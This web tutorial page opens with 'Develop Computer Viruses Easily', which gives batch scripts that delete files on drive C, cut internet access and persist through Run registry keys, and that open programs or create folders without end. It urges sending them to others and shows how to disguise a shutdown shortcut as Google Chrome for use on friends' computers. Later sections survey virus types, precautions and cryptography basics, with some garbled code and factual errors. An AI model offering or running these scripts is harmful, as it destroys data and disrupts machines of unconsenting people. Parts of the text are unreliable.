Develop Computer Viruses Easily

DEVELOPMENT COMPUTER VIRUSES

1. Dangerous Virus

    

   1. Copy this Code in notepad and Save this File as (.bat).

    @Echo off
    Del C: *.* |y

   

   2. Send it to anyone and see what happens.

   3. You can modify it by replacing drive letters as C to D or more.

2. A Virus that Stops Internet Access.

    

   1. Copy this code and Save it as (.bat).

  

     @echo off

    ipconfig/release

   2. To make it correct just open cmd and type - ipconfig/renew.

3. Shutdown virus

You can also create a virus that can shut down computers. Well, this virus is harmless but can cause data loss due to sudden shutdown.

Step 1. First of all, right click on your desktop and then choose the option “Create Shortcut”

Shutdown virus

Step 2. Now in the pop-up window type in -s -t 60 -c “Virus Detection. The computer is shutting down.” Instead of 60, you can put what value you want. It represents the time in seconds.

Shutdown virus

Step 3. Then click on the Next button and type chrome. Or whatever you want.

Shutdown virus

Step 4. Then you need to change the icon of the shortcut, choose the icon of Google Chrome.

Shutdown virus

Your virus will look like Google Chrome. You can carry this file in your Pendrive and can shut down your friends’ computer.

4. Disable internet permanently

   The Following code can disable the internet permanently.

    echo @echo off>c:windowswimn32.bat
    echo break off>c:windowswimn32.bat echo
    ipconfig/release_all>c:windowswimn32.bat
    echo end>c:windowswimn32.batreg add
   hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v      WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
   hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v         CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have          Been HACKED!
    PAUSE

5. Endless open any program.

   1. Copy this code with the location of the program in the windows drive.

    @ECHO off     :top     START %SystemRoot%\system32\notepad.exe     GOTO top

6. Create Unlimited no. of Folders.

    

   1. Copy this code in notepad and save as (.bat).

  @echo off  :x
  md %random%
  /folder.
  goto x

Similarly, You can create the virus in C/C++ also which will directly access the system.

Computer Virus - Types and Precautions

VIRUS - TYPES AND PRECAUTIONS

A Virus is a malicious software program "Malware" that can infect a computer by modifying or deleting data files, boot sector of the hard disk drive or cause a software to work in an unexpected manner.

A computer virus resides on a host computer and can replicate itself when executed. The virus can steal user data, record keystrokes & web sessions of a user.

Cause of Virus -

The following are the main causes of a Computer Virus.

1. Infected Flash Drives or Disks

Flash drives and disks are the main cause of spreading viruses. A virus can also be copied from one computer to other when the user copies infected files using flash drives and disks.

2. Email Attachments

Most of the viruses spread through emails. The email attachment is a file that is sent along with an email. An email may contain an infected file attachment. The virus can spread if the users open and download an email attachment. It may harm the computer when it is activated. It may destroy files on the hard disk or may send the virus automatically to all email addresses saved in the address book.

3. Infected / Pornography websites

Thousands of insecure websites can infect the computer with viruses. Most of the websites with pornographic materials are infected, so by visiting these websites the user’s computer also gets infected by a virus. These websites are developed to spread viruses or other unethical material. The virus is transferred to the user’s computer when this material is downloaded. These websites may access the computer automatically when the users visit them.

4. Networks

The virus can spread if an infected computer is connected to a the network. The internet is an example of such network. When a user downloads a file infected with a virus from the internet, the virus is copied to the computer. It may infect the files stored on the computer.

5. Pirated Softwares

An illegal copy of the software is called pirated software. A virus can spread if a user installs pirated software that contains a virus. A variety of pirated software is available in CDs and from the internet. Some companies intentionally add virus in the software. The virus is automatically activated if the user uses the software without purchasing a license.

Types of Virus -

There are various types of virus known to this time are -

1. Boot Sector Virus

Even though this virus has now become obsolete, it still pops out in one way or the other. This virus got attention when floppy disks were used to boot a computer. In modern computers, this virus could appear on the “Master Boot Record”. In the partitioned storage device of your computer, it is the first sector to take place. However, thanks to the fact evolution of the Internet, the threat of this virus is now mitigated.

2. Web Scripting Virus

Similar to the hyperlinks that we used in Microsoft Word, many websites rest on codes to provide engaging content to their users. For example, since the trends of watching videos online have now become very popular – more than 2 Billion Videos are streamed on Facebook every day, these videos also execute a specific code. 

These codes can be exploited and it is very troublesome to note that this exploitation has taken place on some very notable sites. All the hackers have to do it to leave a comment in the Comments Section of the website which contains that code. Thus, even without the Webmaster knowing it, the code gets exerted into the site.

3. Browser Hijacker

Ever faced a problem where the homepage of your web page gets automatically directed to a particular site? Well, that is the most common way by which this ransomware hijacks your browser.

While its visual effects might epitomize the threat, this hijacker is nothing more than a tactic to increase income from web ads. 

4. Resident Virus

After inserting itself directing into the memory of your system, this virus has the capability to take a number of actions. One of its more troublesome features is its ability to run away. Leaving behind the file which was originally infected, this virus has the ability to run on its own.

5. Direct Action Virus

Similar to the Vienna virus which shocked computers in 1998, this virus comes into action after you have executed the file. The load is delivered to your computer and the virus becomes active.

However, this virus has a limitation. It takes no action unless the file which is infected gets implemented again.

6. Polymorphic Virus

One of the factors that epitomize the usefulness of this virus is its ability to evade. The Antivirus programs that are enabled on our computers detect the presence of any virus by detecting its code.

The polymorphic virus has exploited this limitation beautifully as it changes its code every time the infected file is executed. Thus, it becomes nearly impossible for any ordinary antivirus to track it down.

7. File Infector Virus

Although the word “file” in its name might suggest otherwise, this virus does not take the help of files every time. In fact, the file is only the starting point as the file infector dwarfs the first file after which it re-writes the file.

8. Multipartite Virus

If you have read carefully the aforementioned viruses, you might have noticed that they use two methods for their transmission. Either they use one method or a single payload is delivered.

However, this virus wants to claim both. Depending upon the operating system of your computer or the files that exist on your computer, it might use any of the two methods to spread.

9. Macro Virus

Appearing in the form of a word document which seemingly links the user to pornographic websites, Melissa is one of the most known Micro Virus. Going one step further, this virus not only exploits the user but also his/her friends by mailing the copies of the infected virus document to the contact list.

Some Common Well-known Viruses are -

1. Code Red

It is a worm that infects a computer running Microsoft IIS server. This virus launched DOS attack on White House’s website. It allows the hacker to access the infected computer remotely.

2. Nimba

It is a worm that spreads itself using different methods. IT damages the computer in different ways. It modified files, alters security settings and degrades performance.

3. SirCam

It is distributed as an email attachment. It may delete files, degrade performance and send the files to anyone.

4. Melisa

It is a virus that is distributed as an email attachment. IT disables different safeguards in MS Word. It sends itself to 50 people if Microsoft Outlook is installed.

5. Ripper

It corrupts data from the hard disk.

6. MDMA

It is transferred from one MS Word file to other if both files are in memory.

7. Concept

It is also transferred as an email attachment. It saves the file in template directory instead of its original location.

8. One_Half

It encrypts hard disk so only the virus may read the data. It displays One_Half on the screen when the encryption is half completed.

Protection from Computer Virus

The virus infects computer system if the latest and updated version of an Antivirus program is not installed. Latest Antivirus software should be installed on Computer to protect it from viruses. 

A computer system can be protected from the virus by following these precautions.

1. The latest and updated version of Anti-Virus and firewall should be installed on the computer.
2. The Anti-Virus software must be upgraded regularly.
3. USB drives should be scanned for viruses, and should not be used on infected computers.
4. Junk or unknown emails should not be opened and must be deleted straight away.
5. Unauthorized or pirated software should not be installed on the computer.
6. An important way of protection against the virus is the use of back up of data. The backup is used if the virus deletes data or modifies it. So back up your data on regular basis. There is some great software that can back up your data automatically.
7. Freeware and shareware software from the internet normally contain viruses. It is important to check the software before using them.
8. Your best protection is your common sense. Never click on suspicious links, never download songs, videos or files from suspicious websites. Never share your personal data with people you don’t know over the internet.

Here is a Small Tutorial about How to make Simple Viruses - Click this Link

Cryptography and Microsoft Tools

CRYPTOGRAPHY

Cryptography is associated with the process of converting ordinary plain text into unintelligible text and vice-versa. It is a method of storing and transmitting data in a particular form so that only those for whom it is intended can read and process it. Cryptography not only protects data from theft or alteration but can also be used for user authentication.

Simply says, Cryptography is the science of using mathematics to encrypt and decrypt data.

Nowadays, Cryptography is mainly based on mathematical theory and computer science practice -

Modern cryptography concerns with -
1. Confidentiality - Information cannot be understood by anyone

2. Integrity - Information cannot be altered.

3. Non-repudiation - Sender cannot deny his/her intentions in the transmission of the 

information at a later stage

4. Authentication - Sender and receiver can confirm each

This is the basic flow of cryptography -

Note - While cryptography is the science of securing data, cryptanalysis is the science of analyzing and breaking secure communication. Cryptology embraces both cryptography and cryptanalysis.

Types of Cryptography -

Three types of cryptographic techniques used in general.

1. Symmetric-key cryptography (SKC)

2. Public-key cryptography (PKC)

3. Hash functions.

Symmetric-key Cryptography: Both the sender and receiver share a single key. The sender uses this key to encrypt plaintext and send the ciphertext to the receiver. On the other side, the receiver applies the same key to decrypt the message and recover the plain text.

Public-Key Cryptography: This is the most revolutionary concept in the last 300-400 years. In Public-Key Cryptography two related keys (public and private key) are used. The public key may be freely distributed, while its paired private key, remains a secret. The public key is used for encryption and for decryption private key is used.

Hash Functions: No key is used in this algorithm. A fixed-length hash value is computed as per the plain text that makes it impossible for the contents of the plaintext to be recovered. Hash functions are also used by many operating systems to encrypt passwords.

Encryption Algorithms

MD5– this is the acronym for Message-Digest 5. It is used to create 128-bit hash values. Theoretically, hashes cannot be reversed into the original plain text. MD5 is used to encrypt passwords as well as check data integrity.  MD5 is not collision resistant. Collision resistance is the difficulties in finding two values that produce the same hash values.

• SHA– this is the acronym for Secure Hash Algorithm. SHA algorithms are used to generate condensed representations of a message (message digest). It has various versions such as;

• SHA-0:  produces 120-bit hash values. It was withdrawn from use due to significant flaws and replaced by SHA-1.
• SHA-1:  produces 160-bit hash values. It is similar to earlier versions of MD5. It has cryptographic weakness and is not recommended for use since the year 2010.
• SHA-2:  it has two hash functions namely SHA-256 and SHA-512. SHA-256 uses 32-bit words while SHA-512 uses 64-bit words.
• SHA-3: this algorithm was formally known as Keccak.

• RC4– this algorithm is used to create stream ciphers. It is mostly used in protocols such as Secure Socket Layer (SSL) to encrypt internet communication and Wired Equivalent Privacy (WEP) to secure wireless networks.
• BLOWFISH– this algorithm is used to create keyed, symmetrically blocked ciphers. It can be used to encrypt passwords and other data.

Hacking Activity: Use CrypTool

In this practical scenario, we will create a simple cipher using the RC4 algorithm. We will then attempt to decrypt it using brute-force attack. For this exercise, let us assume that we know the encryption secret key is 24 bits. We will use this information to break the cipher.

We will use CrypTool 1 as our cryptology tool. CrypTool 1 is an open source educational tool for cryptological studies. You can download it from https://www.cryptool.org/en/ct1-downloads

Microsoft Cryptography Tools

The publishing tools and the signing DLL are installed in the \Bin directory of your Microsoft SDK installation. They include the following files.

Filename	Remarks
Cert2SPC.exe	Creates a Software Publisher Certificate (SPC) for testing purposes only.
CertMgr.exe	Manages certificates, CTLs, and certificate revocation lists (CRLs).
MakeCat.exe	Creates an unsigned catalog file that contains the hashes of a set of files along with associated attributes of each file.
MakeCert.exe	Creates an X.509 certificate for testing purposes only.
Pvk2pfx.exe	Converts a software publisher certificate file (.spc) or a private key file (.pvk) to Personal Information Exchange (PFX) file format.
SetReg.exe	Sets registry keys that control certificate verification.
SignTool.exe	Signs and time stamps a file. Additionally, checks the signature of a file.

Uses - Cryptography is used in many applications like banking transactions cards, computer passwords, and e-commerce transactions.